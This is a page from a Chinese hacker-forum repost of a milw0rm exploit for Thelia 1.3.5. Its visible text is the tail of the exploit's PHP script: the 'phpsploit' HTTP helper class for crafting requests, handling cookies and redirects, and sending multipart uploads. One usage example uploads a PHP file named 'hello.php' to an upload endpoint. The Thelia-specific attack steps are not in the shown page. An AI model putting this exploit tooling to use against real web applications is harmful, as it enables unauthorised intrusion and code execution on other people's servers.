| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
免费服务 我要发布 在线破解 黑客游戏 精华收集 免费空间 网络硬盘 独家报道 黑器点播 免费 FTP 交换资源
收费服务 黑客培训 光盘刻录 黑客书籍 视频下载 主力频道 空间域名 网站建设 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 漏洞 >> web apps >> 正文 用户登录 新用户注册
Thelia 多个漏洞的利用         ★★★ 【字体:
Thelia 1.3.5 Multiple Vulnerabilities Exploit
作者:milw0rm 文章来源:milw0rm 点击数: 更新时间:2008-7-7

/**
* This function allows you to set
* the 'User-Agent' header.
*
* @access  public
* @param   string useragent Agent
* @example $this->agent('Firefox')
*
*/
function agent($useragent)
{
$this->addheader('User-Agent',$useragent);
}


/**
* This function returns the headers
* which will be in the next request.
*
* @access  public
* @return  string $this->header_str Headers
* @example $this->showheader()
*
*/
function showheader()
{
$this->header_str = '';

if(!isset($this->header))
   return;
  
foreach($this->header as $name => $value)
   $this->header_str .= $name.': '.$value."\r\n";
  
return $this->header_str;
}


/**
* This function returns the cookies
* which will be in the next request.
*
* @access  public
* @return  string $this->cookie_str Cookies
* @example $this->showcookie()
*
*/
function showcookie()
{
$this->cookie_str = '';

if(!isset($this->cookie))
   return;

foreach($this->cookie as $name => $value)
   $this->cookie_str .= $name.'='.$value.'; ';

return $this->cookie_str;
}


/**
* This function returns the last
* formed http request.
*
* @access  public
* @return  string $this->packet HttpPacket
* @example $this->showlastrequest()
*
*/
function showlastrequest()
{
if(!isset($this->packet))
   return;
else
   return $this->packet;
}


/**
* This function sends the formed
* http packet with the GET method.
*
* @access  public
* @param   string url Url
* @return  string $this->sock()
* @example $this->get('localhost/index.php?var=x')
* @example $this->get('http://localhost:88/tst.php')
*
*/
function get($url)
{
$this->target($url);
$this->method = 'get';
return $this->sock();
}


/**
* This function sends the formed
* http packet with the POST method.
*
* @access  public
* @param   string url  Url
* @param   string data PostData
* @return  string $this->sock()
* @example $this->post('http://localhost/','helo=x')
*
*/
function post($url,$data)
{
$this->target($url);
$this->method = 'post';
$this->data = $data;
return $this->sock();
}


/**
* This function sends the formed http
* packet with the POST method using
* the multipart/form-data enctype.
*
* @access  public
* @param   array array FormDataArray
* @return  string $this->sock()
* @example $formdata = array(
*                      frmdt_url => 'http://localhost/upload.php',
*                      frmdt_boundary => '123456', # Optional
*                      'var' => 'example',
*                      'file' => array(
*                                frmdt_type => 'image/gif',  # Optional
*                                frmdt_transfert => 'binary' # Optional
*                                frmdt_filename => 'hello.php,
*                                frmdt_content => '<?php echo 1; ?>'));
*          $this->formdata($formdata);
*
*/
function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method = 'formdata';
$this->data = '';

if(!isset($array[frmdt_boundary]))
   $this->boundary = 'phpsploit';
else
   $this->boundary = $array[frmdt_boundary];

foreach($array as $key => $value)
{
if(!preg_match('#^frmdt_(boundary|url)#',$key))
{
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';

if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

if(isset($array[$key][frmdt_type]))
   $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

if(isset($array[$key][frmdt_transfert]))
   $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}

$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
return $this->sock();
}


/**
* This function returns the content
* of the server response, without
* the headers.
*
* @access  public
* @param   string code ServerResponse
* @return  string $this->server_content
* @example $this->getcontent()
* @example $this->getcontent($this->get('http://localhost/'))
*
*/
function getcontent($code='')
{
if(empty($code))
   $code = $this->recv;

$code = explode("\r\n\r\n",$code);
$this->server_content = '';

for($i=1;$i<count($code);$i++)
   $this->server_content .= $code[$i];

return $this->server_content;
}


/**
* This function returns the headers
* of the server response, without
* the content.
*
* @access  public
* @param   string code ServerResponse
* @return  string $this->server_header
* @example $this->getcontent()
* @example $this->getcontent($this->post('http://localhost/','1=2'))
*
*/
function getheader($code='')
{
if(empty($code))
   $code = $this->recv;

$code = explode("\r\n\r\n",$code);
$this->server_header = $code[0];

return $this->server_header;
}


/**
* This function is called by the
* cookiejar() function. It adds the
* value of the "Set-Cookie" header
* in the "Cookie" header for the
* next request. You don't have to
* call it.
*
* @access private
* @param  string code ServerResponse
*
*/
function getcookie()
{
foreach(explode("\r\n",$this->getheader()) as $header)
{
if(preg_match('/set-cookie/i',$header))
{
$fequal = strpos($header,'=');
$fvirgu = strpos($header,';');

// 12=strlen('set-cookie: ')
$cname  = substr($header,12,$fequal-12);
$cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));

$this->cookie[trim($cname)] = trim($cvalu);
}
}
}


/**
* This function is called by the
* get()/post() functions. You
* don't have to call it.
*
* @access  private
* @param   string urltarg Url
* @example $this->target('http://localhost/')
*
*/
function target($urltarg)
{
if(!ereg('^http://',$urltarg))
   $urltarg = 'http://'.$urltarg;
  
$urlarr     = parse_url($urltarg);
$this->url  = 'http://'.$urlarr['host'].$urlarr['path'];

if(isset($urlarr['query']))
   $this->url .= '?'.$urlarr['query'];

$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
$this->host = $urlarr['host'];

if($this->port != '80')
   $this->host .= ':'.$this->port;

if(!isset($urlarr['path']) or empty($urlarr['path']))
   die("Error: No path precised");

$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

if($this->port > 65535)
   die("Error: Invalid port number");
}


/**
* If you call this function,
* the script will extract all
* 'Set-Cookie' headers values
* and it will automatically add
* them into the 'Cookie' header
* for all next requests.
*
* @access  public
* @param   integer code 1(enabled) 0(disabled)
* @example $this->cookiejar(0)
* @example $this->cookiejar(1)
*
*/
function cookiejar($code)
{
if($code=='0')
   $this->cookiejar=FALSE;

elseif($code=='1')
   $this->cookiejar=TRUE;
}


/**
* If you call this function,
* the script will follow all
* redirections sent by the server.
*
* @access  public
* @param   integer code 1(enabled) 0(disabled)
* @example $this->allowredirection(0)
* @example $this->allowredirection(1)
*
*/
function allowredirection($code)
{
if($code=='0')
   $this->allowredirection=FALSE;
  
elseif($code=='1')
   $this->allowredirection=TRUE;
}


/**
* This function is called if
* allowredirection() is enabled.
* You don't have to call it.
*
* @access private
* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
* @return string $this->get($this->last_redirection)
* @return string $this->recv;
*
*/
function getredirection()
{
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
{
$this->last_redirection = trim($codearr[2]);

if(!ereg('://',$this->last_redirection))
   return $this->get('http://'.$this->host.$this->path.$this->last_redirection);

else
   return $this->get($this->last_redirection);
}
else
   return $this->recv;
}


/**
* This function allows you
* to reset some parameters.
*
* @access  public
* @param   string func Param
* @example $this->reset('header')
* @example $this->reset('cookie')
* @example $this->reset()
*
*/
function reset($func='')
{
switch($func)
{
case 'header':
$this->header = array('');
break;

case 'cookie':
$this->cookie = array('');
break;

default:
$this->cookiejar = '';
$this->header = array('');
$this->cookie = array('');
$this->allowredirection = '';
break;
}
}
}

?>

# milw0rm.com

上一页  [1] [2] 

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇漏洞:

  • 下一篇漏洞: 没有了
  • 最新hack更新
    最新推荐资讯
    相关漏洞
    SQL的注入漏洞利用
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号